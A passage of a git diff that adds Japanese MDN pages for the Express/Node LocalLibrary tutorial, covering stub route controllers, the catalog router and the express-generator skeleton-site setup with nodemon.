bookinstance, genre, author with the given <code><em>_id</em></code> field value (e.g. <code>/catalog/book/584493c1f4887f06c0e67d37/delete)</code>.</li> +</ul> + +<p>The first home page and list pages don't encode any additional information. While the results returned will depend on the model type and the content in the database, the queries run to get the information will always be the same (similarly the code run for object creation will always be similar).</p> + +<p>By contrast the other URLs are used to act on a specific document/model instance—these encode the identity of the item in the URL (shown as <code><em><id></em></code> above). We'll use path parameters to extract the encoded information and pass it to the route handler (and in a later article we'll use this to dynamically determine what information to get from the database). By encoding the information in our URL we only need one route for every resource of a particular type (e.g. one route to handle the display of every single book item).</p> + +<div class="note"> +<p><strong>Note</strong>: Express allows you to construct your URLs any way you like — you can encode information in the body of the URL as shown above or use URL <code>GET</code> parameters (e.g. <code>/book/?id=6</code>). Whichever approach you use, the URLs should be kept clean, logical and readable (<a href="https://www.w3.org/Provider/Style/URI">check out the W3C advice here</a>).</p> +</div> + +<p>Next we create our route handler callback functions and route code for all the above URLs.</p> + +<h2 id="Create_the_route-handler_callback_functions">Create the route-handler callback functions</h2> + +<p>Before we define our routes, we'll first create all the dummy/skeleton callback functions that they will invoke. The callbacks will be stored in separate "controller" modules for Books, BookInstances, Genres, and Authors (you can use any file/module structure, but this seems an appropriate granularity for this project).</p> + +<p>Start by creating a folder for our controllers in the project root (<strong>/controllers</strong>) and then create separate controller files/modules for handling each of the models:</p> + +<pre>/express-locallibrary-tutorial //the project root + <strong>/controllers</strong> + <strong>authorController.js</strong> + <strong>bookController.js</strong> + <strong>bookinstanceController.js</strong> + <strong>genreController.js</strong></pre> + +<h3 id="Author_controller">Author controller</h3> + +<p>Open the <strong>/controllers/authorController.js</strong> file and type in the following code:</p> + +<pre class="brush: js">var Author = require('../models/author'); + +// Display list of all Authors. +exports.author_list = function(req, res) { + res.send('NOT IMPLEMENTED: Author list'); +}; + +// Display detail page for a specific Author. +exports.author_detail = function(req, res) { + res.send('NOT IMPLEMENTED: Author detail: ' + req.params.id); +}; + +// Display Author create form on GET. +exports.author_create_get = function(req, res) { + res.send('NOT IMPLEMENTED: Author create GET'); +}; + +// Handle Author create on POST. +exports.author_create_post = function(req, res) { + res.send('NOT IMPLEMENTED: Author create POST'); +}; + +// Display Author delete form on GET. +exports.author_delete_get = function(req, res) { + res.send('NOT IMPLEMENTED: Author delete GET'); +}; + +// Handle Author delete on POST. +exports.author_delete_post = function(req, res) { + res.send('NOT IMPLEMENTED: Author delete POST'); +}; + +// Display Author update form on GET. +exports.author_update_get = function(req, res) { + res.send('NOT IMPLEMENTED: Author update GET'); +}; + +// Handle Author update on POST. +exports.author_update_post = function(req, res) { + res.send('NOT IMPLEMENTED: Author update POST'); +}; +</pre> + +<p>The module first requires the model that we'll later be using to access and update our data. It then exports functions for each of the URLs we wish to handle (the create, update and delete operations use forms, and hence also have additional methods for handling form post requests — we'll discuss those methods in the "forms article" later on).</p> + +<p>All the functions have the standard form of an <em>Express middleware function</em>, with arguments for the request, response, and the <code>next</code> function to be called if the method does not complete the request cycle (in all these cases it does!). The methods simply return a string indicating that the associated page has not yet been created. If a controller function is expected to receive path parameters, these are output in the message string (see <code>req.params.id</code> above).</p> + +<h4 id="BookInstance_controller">BookInstance controller</h4> + +<p>Open the <strong>/controllers/bookinstanceController.js</strong> file and copy in the following code (this follows an identical pattern to the <code>Author</code> controller module):</p> + +<pre class="brush: js">var BookInstance = require('../models/bookinstance'); + +// Display list of all BookInstances. +exports.bookinstance_list = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance list'); +}; + +// Display detail page for a specific BookInstance. +exports.bookinstance_detail = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance detail: ' + req.params.id); +}; + +// Display BookInstance create form on GET. +exports.bookinstance_create_get = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance create GET'); +}; + +// Handle BookInstance create on POST. +exports.bookinstance_create_post = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance create POST'); +}; + +// Display BookInstance delete form on GET. +exports.bookinstance_delete_get = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance delete GET'); +}; + +// Handle BookInstance delete on POST. +exports.bookinstance_delete_post = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance delete POST'); +}; + +// Display BookInstance update form on GET. +exports.bookinstance_update_get = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance update GET'); +}; + +// Handle bookinstance update on POST. +exports.bookinstance_update_post = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance update POST'); +}; +</pre> + +<h4 id="Genre_controller">Genre controller</h4> + +<p>Open the <strong>/controllers/genreController.js</strong> file and copy in the following text (this follows an identical pattern to the <code>Author</code> and <code>BookInstance</code> files):</p> + +<pre class="brush: js">var Genre = require('../models/genre'); + +// Display list of all Genre. +exports.genre_list = function(req, res) { + res.send('NOT IMPLEMENTED: Genre list'); +}; + +// Display detail page for a specific Genre. +exports.genre_detail = function(req, res) { + res.send('NOT IMPLEMENTED: Genre detail: ' + req.params.id); +}; + +// Display Genre create form on GET. +exports.genre_create_get = function(req, res) { + res.send('NOT IMPLEMENTED: Genre create GET'); +}; + +// Handle Genre create on POST. +exports.genre_create_post = function(req, res) { + res.send('NOT IMPLEMENTED: Genre create POST'); +}; + +// Display Genre delete form on GET. +exports.genre_delete_get = function(req, res) { + res.send('NOT IMPLEMENTED: Genre delete GET'); +}; + +// Handle Genre delete on POST. +exports.genre_delete_post = function(req, res) { + res.send('NOT IMPLEMENTED: Genre delete POST'); +}; + +// Display Genre update form on GET. +exports.genre_update_get = function(req, res) { + res.send('NOT IMPLEMENTED: Genre update GET'); +}; + +// Handle Genre update on POST. +exports.genre_update_post = function(req, res) { + res.send('NOT IMPLEMENTED: Genre update POST'); +}; +</pre> + +<h4 id="Book_controller">Book controller</h4> + +<p>Open the <strong>/controllers/bookController.js</strong> file and copy in the following code. This follows the same pattern as the other controller modules, but additionally has an <code>index()</code> function for displaying the site welcome page:</p> + +<pre class="brush: js">var Book = require('../models/book'); + +<strong>exports.index = function(req, res) { + res.send('NOT IMPLEMENTED: Site Home Page'); +};</strong> + +// Display list of all books. +exports.book_list = function(req, res) { + res.send('NOT IMPLEMENTED: Book list'); +}; + +// Display detail page for a specific book. +exports.book_detail = function(req, res) { + res.send('NOT IMPLEMENTED: Book detail: ' + req.params.id); +}; + +// Display book create form on GET. +exports.book_create_get = function(req, res) { + res.send('NOT IMPLEMENTED: Book create GET'); +}; + +// Handle book create on POST. +exports.book_create_post = function(req, res) { + res.send('NOT IMPLEMENTED: Book create POST'); +}; + +// Display book delete form on GET. +exports.book_delete_get = function(req, res) { + res.send('NOT IMPLEMENTED: Book delete GET'); +}; + +// Handle book delete on POST. +exports.book_delete_post = function(req, res) { + res.send('NOT IMPLEMENTED: Book delete POST'); +}; + +// Display book update form on GET. +exports.book_update_get = function(req, res) { + res.send('NOT IMPLEMENTED: Book update GET'); +}; + +// Handle book update on POST. +exports.book_update_post = function(req, res) { + res.send('NOT IMPLEMENTED: Book update POST'); +}; +</pre> + +<h2 id="Create_the_catalog_route_module">Create the catalog route module</h2> + +<p>Next we create <em>routes</em> for all the URLs <a href="#local_libary_routes">needed by the LocalLibrary website</a>, which will call the controller functions we defined in the previous section.</p> + +<p>The skeleton already has a <strong>./routes</strong> folder containing routes for the <em>index</em> and <em>users</em>. Create another route file — <strong>catalog.js</strong> — inside this folder, as shown.</p> + +<pre>/express-locallibrary-tutorial //the project root + /routes + index.js + users.js + <strong>catalog.js</strong></pre> + +<p>Open <strong>/routes/</strong><strong>catalog.js</strong> and copy in the code below:</p> + +<pre class="brush: js"><strong>var express = require('express'); +var router = express.Router(); +</strong> +// Require controller modules. +var book_controller = require('../controllers/bookController'); +var author_controller = require('../controllers/authorController'); +var genre_controller = require('../controllers/genreController'); +var book_instance_controller = require('../controllers/bookinstanceController'); + +/// BOOK ROUTES /// + +// GET catalog home page. +router.get('/', book_controller.index); + +// GET request for creating a Book. NOTE This must come before routes that display Book (uses id). +router.get('/book/create', book_controller.book_create_get); + +// POST request for creating Book. +router.post('/book/create', book_controller.book_create_post); + +// GET request to delete Book. +router.get('/book/:id/delete', book_controller.book_delete_get); + +// POST request to delete Book. +router.post('/book/:id/delete', book_controller.book_delete_post); + +// GET request to update Book. +router.get('/book/:id/update', book_controller.book_update_get); + +// POST request to update Book. +router.post('/book/:id/update', book_controller.book_update_post); + +// GET request for one Book. +router.get('/book/:id', book_controller.book_detail); + +// GET request for list of all Book items. +router.get('/books', book_controller.book_list); + +/// AUTHOR ROUTES /// + +// GET request for creating Author. NOTE This must come before route for id (i.e. display author). +router.get('/author/create', author_controller.author_create_get); + +// POST request for creating Author. +router.post('/author/create', author_controller.author_create_post); + +// GET request to delete Author. +router.get('/author/:id/delete', author_controller.author_delete_get); + +// POST request to delete Author. +router.post('/author/:id/delete', author_controller.author_delete_post); + +// GET request to update Author. +router.get('/author/:id/update', author_controller.author_update_get); + +// POST request to update Author. +router.post('/author/:id/update', author_controller.author_update_post); + +// GET request for one Author. +router.get('/author/:id', author_controller.author_detail); + +// GET request for list of all Authors. +router.get('/authors', author_controller.author_list); + +/// GENRE ROUTES /// + +// GET request for creating a Genre. NOTE This must come before route that displays Genre (uses id). +router.get('/genre/create', genre_controller.genre_create_get); + +//POST request for creating Genre. +router.post('/genre/create', genre_controller.genre_create_post); + +// GET request to delete Genre. +router.get('/genre/:id/delete', genre_controller.genre_delete_get); + +// POST request to delete Genre. +router.post('/genre/:id/delete', genre_controller.genre_delete_post); + +// GET request to update Genre. +router.get('/genre/:id/update', genre_controller.genre_update_get); + +// POST request to update Genre. +router.post('/genre/:id/update', genre_controller.genre_update_post); + +// GET request for one Genre. +router.get('/genre/:id', genre_controller.genre_detail); + +// GET request for list of all Genre. +router.get('/genres', genre_controller.genre_list); + +/// BOOKINSTANCE ROUTES /// + +// GET request for creating a BookInstance. NOTE This must come before route that displays BookInstance (uses id). +router.get('/bookinstance/create', book_instance_controller.bookinstance_create_get); + +// POST request for creating BookInstance. +router.post('/bookinstance/create', book_instance_controller.bookinstance_create_post); + +// GET request to delete BookInstance. +router.get('/bookinstance/:id/delete', book_instance_controller.bookinstance_delete_get); + +// POST request to delete BookInstance. +router.post('/bookinstance/:id/delete', book_instance_controller.bookinstance_delete_post); + +// GET request to update BookInstance. +router.get('/bookinstance/:id/update', book_instance_controller.bookinstance_update_get); + +// POST request to update BookInstance. +router.post('/bookinstance/:id/update', book_instance_controller.bookinstance_update_post); + +// GET request for one BookInstance. +router.get('/bookinstance/:id', book_instance_controller.bookinstance_detail); + +// GET request for list of all BookInstance. +router.get('/bookinstances', book_instance_controller.bookinstance_list); + +<strong>module.exports = router;</strong> +</pre> + +<p>The module requires Express and then uses it to create a <code>Router</code> object. The routes are all set up on the router, which is then exported.</p> + +<p>The routes are defined either using <code>.get()</code> or <code>.post()</code> methods on the router object. All the paths are defined using strings (we don't use string patterns or regular expressions). Routes that act on some specific resource (e.g. book) use path parameters to get the object id from the URL.</p> + +<p>The handler functions are all imported from the controller modules we created in the previous section.</p> + +<h3 id="Update_the_index_route_module">Update the index route module</h3> + +<p>We've set up all our new routes, but we still have a route to the original page. Let's instead redirect this to the new index page that we've created at the path '/catalog'.</p> + +<p>Open <strong>/routes/index.js</strong> and replace the existing route with the function below.</p> + +<pre class="brush: js">// GET home page. +router.get('/', function(req, res) { + res.redirect('/catalog'); +});</pre> + +<div class="note"> +<p><strong>Note:</strong> This is our first use of the <a href="https://expressjs.com/en/4x/api.html#res.redirect">redirect()</a> response method. This redirects to the specified page, by default sending HTTP status code "302 Found". You can change the status code returned if needed, and supply either absolute or relative paths.</p> +</div> + +<h3 id="Update_app.js">Update app.js</h3> + +<p>The last step is to add the routes to the middleware chain. We do this in <code>app.js</code>.</p> + +<p>Open <strong>app.js</strong> and require the catalog route below the other routes (add the third line shown below, underneath the other two):</p> + +<pre class="brush: js">var indexRouter = require('./routes/index'); +var usersRouter = require('./routes/users'); +<strong>var catalogRouter = require('./routes/catalog'); //Import routes for "catalog" area of site</strong></pre> + +<p>Next, add the catalog route to the middleware stack below the other routes (add the third line shown below, underneath the other two):</p> + +<pre class="brush: js">app.use('/', indexRouter); +app.use('/users', usersRouter); +<strong>app.use('/catalog', catalogRouter); // Add catalog routes to middleware chain.</strong></pre> + +<div class="note"> +<p><strong>Note:</strong> We have added our catalog module at a path <code>'/catalog'</code>. This is prepended to all of the paths defined in the catalog module. So for example, to access a list of books, the URL will be: <code>/catalog/books/</code>.</p> +</div> + +<p>That's it. We should now have routes and skeleton functions enabled for all the URLs that we will eventually support on the LocalLibrary website.</p> + +<h3 id="Testing_the_routes">Testing the routes</h3> + +<p>To test the routes, first start the website using your usual approach</p> + +<ul> + <li>The default method + <pre class="brush: bash"><code>// Windows +SET DEBUG=express-locallibrary-tutorial:* & npm start + +// macOS or Linux +DEBUG=express-locallibrary-tutorial:* npm start</code> +</pre> + </li> + <li>If you previously set up <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">nodemon</a>, you can instead use: + <pre><code>// Windows +SET DEBUG=express-locallibrary-tutorial:* & npm <strong>run devstart</strong> + +// macOS or Linux +</code>DEBUG=express-locallibrary-tutorial:* npm <strong style="font-family: inherit; font-size: 1rem;">run devstart</strong> +</pre> + </li> +</ul> + +<p>Then navigate to a number of LocalLibrary URLs, and verify that you don't get an error page (HTTP 404). A small set of URLs are listed below for your convenience:</p> + +<ul> + <li><a href="http://localhost:3000/">http://localhost:3000/</a></li> + <li><a href="http://localhost:3000/catalog">http://localhost:3000/catalog</a></li> + <li><a href="http://localhost:3000/catalog/books">http://localhost:3000/catalog/books</a></li> + <li><a href="http://localhost:3000/catalog/bookinstances/">http://localhost:3000/catalog/bookinstances/</a></li> + <li><a href="http://localhost:3000/catalog/authors/">http://localhost:3000/catalog/authors/</a></li> + <li><a href="http://localhost:3000/catalog/genres/">http://localhost:3000/catalog/genres/</a></li> + <li><a href="http://localhost:3000/catalog/book/5846437593935e2f8c2aa226/">http://localhost:3000/catalog/book/5846437593935e2f8c2aa226</a></li> + <li><a href="http://localhost:3000/catalog/book/create">http://localhost:3000/catalog/book/create</a></li> +</ul> + +<h2 id="まとめ">まとめ</h2> + +<p>これでサイトのすべてのルートを、後の記事で完全な実装を追加することができるダミーのコントローラ関数もあわせて作成しました。その過程で、Express ルートについての多くの基本的な情報、そしてルートとコントローラを構築するためのいくつかのアプローチを学びました。</p> + +<p>次の記事では、モデルに格納されているビュー (テンプレート) と情報を使用して、サイト用の適切なウェルカムページを作成します。</p> + +<h2 id="あわせて参照">あわせて参照</h2> + +<ul> + <li><a href="http://expressjs.com/ja/starter/basic-routing.html">Basic routing</a> (Express ドキュメント)</li> + <li><a href="http://expressjs.com/ja/guide/routing.html">Routing guide</a> (Express ドキュメント)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node のイントロダクション</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/development_environment">Node 開発環境の設定</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express チュートリアル: 地域図書館の Web サイト</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express チュートリアル Part 2: スケルトン Web サイトの作成</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/mongoose">Express チュートリアル Part 3: データベースを使う (Mongoose を使用)</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/routes">Express チュートリアル Part 4: ルートとコントローラ</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express チュートリアル Part 5: ライブラリデータの表示</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/forms">Express チュートリアル Part 6: フォームの操作</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/deployment">Express チュートリアル Part 7: プロダクションへのデプロイ</a></li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/skeleton_website/index.html b/files/ja/learn/server-side/express_nodejs/skeleton_website/index.html new file mode 100644 index 0000000000..5b0acfecd2 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/skeleton_website/index.html @@ -0,0 +1,512 @@ +--- +title: 'Express チュートリアル Part 2: スケルトン Web サイトの作成' +slug: Learn/Server-side/Express_Nodejs/skeleton_website +tags: + - CodingScripting + - Express + - Node + - イントロダクション + - サーバサイド + - 初心者 + - 学習 + - 開発環境 +translation_of: Learn/Server-side/Express_Nodejs/skeleton_website +--- +<div>{{LearnSidebar}}</div> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs")}}</p> + +<p class="summary">この <a href="/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express チュートリアル</a>の2回目の記事では、どのようにして "スケルトン" Web サイトプロジェクトを作成し、サイト固有のルート、テンプレート/ビュー、およびデータベース呼び出しを追加するかを説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/Server-side/Express_Nodejs/development_environment">Node 開発環境を設定します</a>。Express チュートリアルを確認してください。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>Express Application Generator を使用して独自の新しい Web サイトプロジェクトを開始できるようにする。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>この記事では <a href="https://expressjs.com/ja/starter/generator.html">Express Application Generator</a> ツールを使用して "スケルトン" Web サイトを作成する方法を説明します。このツールには、サイト固有のルート、ビュー/テンプレート、およびデータベース呼び出しを追加できます。この場合は、このツールを使用して<a href="/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">ローカルライブラリ Web サイト</a>用のフレームワークを作成し、後でそのサイトに必要な他のすべてのコードを追加します。プロセスは非常に単純で、必要に応じてサイトのテンプレートエンジンと CSS ジェネレータを指定して、新しいプロジェクト名を指定してコマンドラインでジェネレータを呼び出すだけです。</p> + +<p>次のセクションでは、アプリケーションジェネレータを呼び出す方法を示し、さまざまな ビュー/CSS オプションについて簡単に説明します。また、スケルトン Web サイトの構造についても説明します。最後に、Web サイトを実行してそれが機能することを確認する方法を紹介します。</p> + +<div class="note"> +<p><span style="line-height: 1.5;"><strong>メモ</strong>: </span>Express アプリケーションジェネレータは、Express アプリケーション用の唯一のジェネレータというわけではありません。また、生成されたプロジェクトはファイルやディレクトリを構造化する唯一実行可能な方法というわけではありません。しかしながら、生成されたサイトは、拡張と理解が容易なモジュール構造を持っています。最小限の Express アプリケーションについては、<a href="https://expressjs.com/ja/starter/hello-world.html">Hello world の例</a> (Express ドキュメント) を参照してください。</p> +</div> + +<h2 id="アプリケーションジェネレータを使用する">アプリケーションジェネレータを使用する</h2> + +<p><a href="/ja/docs/Learn/Server-side/Express_Nodejs/development_environment">Node 開発環境の設定</a>の一部として、ジェネレータをすでにインストールしているはずです。念のため、NPM パッケージマネージャを使用して、サイト全体にジェネレータツールをインストールします。</p> + +<pre class="brush: bash"><code>npm install express-generator -g</code></pre> + +<p>ジェネレータにはいくつかのオプションがあり、それらは <code>--help</code> (または <code>-h</code>) コマンドを使用してコマンドラインで表示できます。</p> + +<pre class="brush: bash">> express --help + + Usage: express [options] [dir] + + Options: + + -h, --help output usage information + --version output the version number + -e, --ejs add ejs engine support + --pug add pug engine support + --hbs add handlebars engine support + -H, --hogan add hogan.js engine support + -v, --view <engine> add view <engine> support (ejs|hbs|hjs|jade|pug|twig|vash) (defaults to jade) + -c, --css <engine> add stylesheet <engine> support (less|stylus|compass|sass) (defaults to plain css) + --git add .gitignore + -f, --force force on non-empty directory +</pre> + +<p>Jade ビューエンジンとプレーン CSS を使用して、<code>express</code> を指定するだけで現在のディレクトリ内にプロジェクトを作成できます (ディレクトリ名を指定すると、プロジェクトはその名前のサブフォルダに作成されます)。</p> + +<pre class="brush: bash"><code>express</code></pre> + +<p><code>--view</code> を使用してビュー (テンプレート) エンジンを選択したり、<code>--css</code> を使用して CSS 生成エンジンを選択したりすることもできます。</p> + +<div class="note"> +<p><strong>メモ:</strong> テンプレートエンジンを選択するためのその他のオプション (<code>--hogan</code>、<code>--ejs</code>、<code>--hbs</code> など) は推奨されません。<code>--view</code> (または <code>-v</code>)を使用してください。</p> +</div> + +<h3 id="どのビューエンジンを使うべきですか？">どのビューエンジンを使うべきですか？</h3> + +<p>Express Application Generator を使用すると、<a href="https://www.npmjs.com/package/ejs">EJS</a>、<a href="http://github.com/donpark/hbs">Hbs</a>、<a href="https://pugjs.org/api/getting-started.html">Pug</a> (Jade)、<a href="https://www.npmjs.com/package/twig">Twig</a>、<a href="https://www.npmjs.com/package/vash">Vash</a> など、一般的なビュー/テンプレートエンジンを多数設定できます。ただし、ビューオプションを指定しない場合はデフォルトで Jade が選択されます。 Express 自体は、<a href="https://github.com/expressjs/express/wiki#template-engines">一般的な</a>他のテンプレート言語の多くをサポートすることができます。</p> + +<div class="note"> +<p><strong>メモ:</strong> ジェネレータでサポートされていないテンプレートエンジンを使用したい場合は、<a href="https://expressjs.com/ja/guide/using-template-engines.html">Express でテンプレートエンジンを使用する</a> (Express ドキュメント) およびターゲットビューエンジンのドキュメントを参照してください。</p> +</div> + +<p>一般的に、あなたが必要とするすべての機能を提供し、あなたがより早く生産的になることを可能にするテンプレートエンジンを選ぶべきです ー もしくは言い換えれば、同じ方法で、他のコンポーネントを選択するということです。テンプレートエンジンを比較する際に考慮すべき点がいくつかあります。</p> + +<ul> + <li>生産的になるための時間 - あなたのチームがすでにテンプレート言語の経験があるのならlその言語を使うことでより速く生産的になるでしょう。そうでない場合は、候補のテンプレートエンジンの相対的な学習曲線を検討する必要があります</li> + <li>人気度とアクティビティ - エンジンの人気度と、活発なコミュニティがあるかどうかを確認します。あなたがウェブサイトの生涯にわたって問題を抱えているときにエンジンのサポートを受けることができることが重要です</li> + <li>スタイル － テンプレートエンジンの中には、"通常の" HTML 内に挿入されたコンテンツを示すために特定のマークアップを使用するものもあれば、別の構文を使用して HTML を構成するものもあります (たとえば、インデントとブロック名を使用)</li> + <li>パフォーマンス/レンダリング時間</li> + <li>機能 - あなたが見ているエンジンが利用可能な以下の機能を持っているかどうかを考慮する必要があります。 + <ul> + <li>レイアウトの継承：ベーステンプレートを定義してから、特定のページに対して異なる部分だけを "継承" することができます。これは通常、必要なコンポーネントを多数含めるか、毎回テンプレートを最初から作成することによってテンプレートを作成するよりも優れた方法です</li> + <li>"Include" のサポート：他のテンプレートを含めることでテンプレートを構築することを可能にします</li> + <li>簡潔な変数およびループ制御構文</li> + <li>テンプレートレベルで変数値をフィルタリングする機能 (例えば、変数を大文字にする、または日付値をフォーマットする)</li> + <li>HTML 以外の出力フォーマット (JSON や XML など) を生成する機能</li> + <li>非同期操作とストリーミングのサポート</li> + <li>サーバだけでなくクライアントでも使用できます。テンプレートエンジンをクライアント上で使用できる場合、これによりデータを提供し、レンダリングの全部または大部分をクライアント側で行うことができます</li> + </ul> + </li> +</ul> + +<div class="note"> +<p><strong>Tip:</strong> インターネット上には、さまざまなオプションを比較するのに役立つ多くのリソースがあります。</p> +</div> + +<p>このプロジェクトでは、<a href="https://pugjs.org/api/getting-started.html">Pug</a> テンプレートエンジン (これは最近名前が変更された Jade エンジンです) を使用します。これは最も一般的な Express/JavaScript テンプレート言語の1つで、ジェネレータによってそのままサポートされているためです。</p> + +<h3 id="どの_CSS_スタイルシートエンジンを使うべきですか？">どの CSS スタイルシートエンジンを使うべきですか？</h3> + +<p>Express Application Generator を使用すると、最も一般的なCSSスタイルシートエンジン (<a href="http://lesscss.org/">LESS</a>、<a href="http://sass-lang.com/">SASS</a>、<a href="http://compass-style.org/">Compass</a>、<a href="http://stylus-lang.com/">Stylus</a>) を使用するように構成されたプロジェクトを作成できます。</p> + +<div class="note"> +<p><strong>メモ: </strong>CSS にはいくつかの制限があり、特定のタスクを困難にします。CSS スタイルシートエンジンを使用すると、CSS を定義するためのより強力な構文を使用してから、ブラウザで使用するためにその定義を通常の CSS にコンパイルできます。</p> +</div> + +<p>テンプレートエンジンと同様に、チームを最も生産的にすることができるスタイルシートエンジンを使用する必要があります。このプロジェクトでは、CSS 要件が他のものを使用することを正当化するのに十分に複雑ではないため、通常のCSS (デフォルト) を使用します。</p> + +<h3 id="どのデータベースを使うべきですか？">どのデータベースを使うべきですか？</h3> + +<p>生成されたコードはデータベースを一切使用しません。 Express アプリケーションは、Node によってサポートされている任意の<a href="https://expressjs.com/ja/guide/database-integration.html">データベースメカニズム</a>を使用できます (Express自体はデータベース管理のための特定の追加の動作や要件を定義していません)。</p> + +<p>データベースと統合する方法については、後の記事で説明します。</p> + +<h2 id="プロジェクトを作成する">プロジェクトを作成する</h2> + +<p>これから作成するサンプルのローカルライブラリアプリでは、Pug テンプレートライブラリを使用し、CSS スタイルシートエンジンを使用しないで、express-locallibrary-tutorial という名前のプロジェクトを作成します。</p> + +<p>まず、プロジェクトを作成する場所に移動し、次に示すようにコマンドプロンプトで Express Application Generator を実行します。</p> + +<pre class="brush: bash">express express-locallibrary-tutorial --view=pug +</pre> + +<p>ジェネレータはプロジェクトのファイルを作成 (そして一覧表示) します。</p> + +<pre class="brush: bash"> create : express-locallibrary-tutorial + create : express-locallibrary-tutorial/package.json + create : express-locallibrary-tutorial/app.js + create : express-locallibrary-tutorial/public/images + create : express-locallibrary-tutorial/public + create : express-locallibrary-tutorial/public/stylesheets + create : express-locallibrary-tutorial/public/stylesheets/style.css + create : express-locallibrary-tutorial/public/javascripts + create : express-locallibrary-tutorial/routes + create : express-locallibrary-tutorial/routes/index.js + create : express-locallibrary-tutorial/routes/users.js + create : express-locallibrary-tutorial/views + create : express-locallibrary-tutorial/views/index.pug + create : express-locallibrary-tutorial/views/layout.pug + create : express-locallibrary-tutorial/views/error.pug + create : express-locallibrary-tutorial/bin + create : express-locallibrary-tutorial/bin/www + + install dependencies: + > cd express-locallibrary-tutorial && npm install + + run the app: + > SET DEBUG=express-locallibrary-tutorial:* & npm start</pre> + +<p>出力の最後に、ジェネレータは依存関係をどのようにインストールするか (<strong>package.json</strong> ファイルにリストされているとおり)、次にアプリケーションを実行する方法についての指示を提供します (上記の手順は Windows 用です。Linux/ macOS では若干異なります)。</p> + +<h2 id="スケルトン_Web_サイトを実行する">スケルトン Web サイトを実行する</h2> + +<p>これで、完全なスケルトンプロジェクトが完成しました。 ウェブサイトは実際にはそれほど多くは行っていませんが、それがどのように機能するかを示すために実行する価値があります。</p> + +<ol> + <li>まず、依存関係をインストールします (<code>install</code> コマンドはプロジェクトの <strong>package.json</strong> ファイルにリストされているすべての依存関係パッケージを取得します) + + <pre class="brush: bash">cd express-locallibrary-tutorial +npm install</pre> + </li> + <li>その後、アプリケーションを実行します + <ul> + <li>Windows では、次のコマンドを使用します + <pre class="brush: bash">SET DEBUG=express-locallibrary-tutorial:* & npm start</pre> + </li> + <li>macOS または Linux では、次のコマンドを使用します + <pre class="brush: bash">DEBUG=express-locallibrary-tutorial:* npm start +</pre> + </li> + </ul> + </li> + <li>その後、ブラウザに <a href="http://localhost:3000/">http://localhost:3000/</a> をロードしてアプリにアクセスします</li> +</ol> + +<p>次のようなブラウザページが表示されるはずです。</p> + +<p><img alt="Browser for default Express app generator website" src="https://mdn.mozillademos.org/files/14375/ExpressGeneratorSkeletonWebsite.png" style="display: block; height: 403px; margin: 0px auto; width: 576px;"></p> + +<p>自分自身で <em>localhost:3000 </em>に提供している、動作する Express アプリケーションがあります。</p> + +<div class="note"> +<p><strong>メモ:</strong> <code>npm start</code> コマンドを使用してアプリを起動することもできます。示されているように DEBUG 変数を指定すると、コンソールロギング/デバッグが有効になります。たとえば、上記のページにアクセスすると、次のようなデバッグ出力が表示されます。</p> + +<pre class="brush: bash">>SET DEBUG=express-locallibrary-tutorial:* & npm start + +> express-locallibrary-tutorial@0.0.0 start D:\express-locallibrary-tutorial +> node ./bin/www + + express-locallibrary-tutorial:server Listening on port 3000 +0ms +GET / 200 288.474 ms - 170 +GET /stylesheets/style.css 200 5.799 ms - 111 +GET /favicon.ico 404 34.134 ms - 1335</pre> +</div> + +<h2 id="ファイルの変更時にサーバの再起動を有効にする">ファイルの変更時にサーバの再起動を有効にする</h2> + +<p>Express Web サイトに加えた変更は、現在のサーバを再起動するまで表示されません。変更を加えるたびにサーバを停止して再起動する必要があることはすぐに非常に苛立たしいものになるため、必要に応じてサーバの再起動を自動化することに時間をかける価値があります。</p> + +<p>この目的のための最も簡単なツールの1つが <a href="https://github.com/remy/nodemon">nodemon</a> です。 これは通常 "ツール" としてグローバルにインストールされますが、ここでは開発者の依存関係としてローカルにインストールして使用するので、プロジェクトを操作する開発者はアプリケーションをインストールするときに自動的に取得されます。スケルトンプロジェクトのルートディレクトリで次のコマンドを使用します。</p> + +<pre class="brush: bash">npm install --save-dev nodemon</pre> + +<p>プロジェクトの <strong>package.json</strong> ファイルだけでなく、自分のマシンにグローバルに <a href="https://github.com/remy/nodemon">nodemon</a> をインストールする場合は、次のようにします。</p> + +<pre class="brush: bash">npm install -g nodemon</pre> + +<p>プロジェクトの <strong>package.json</strong> ファイルを開くと、この依存関係を持つ新しいセクションが表示されます。</p> + +<pre class="brush: 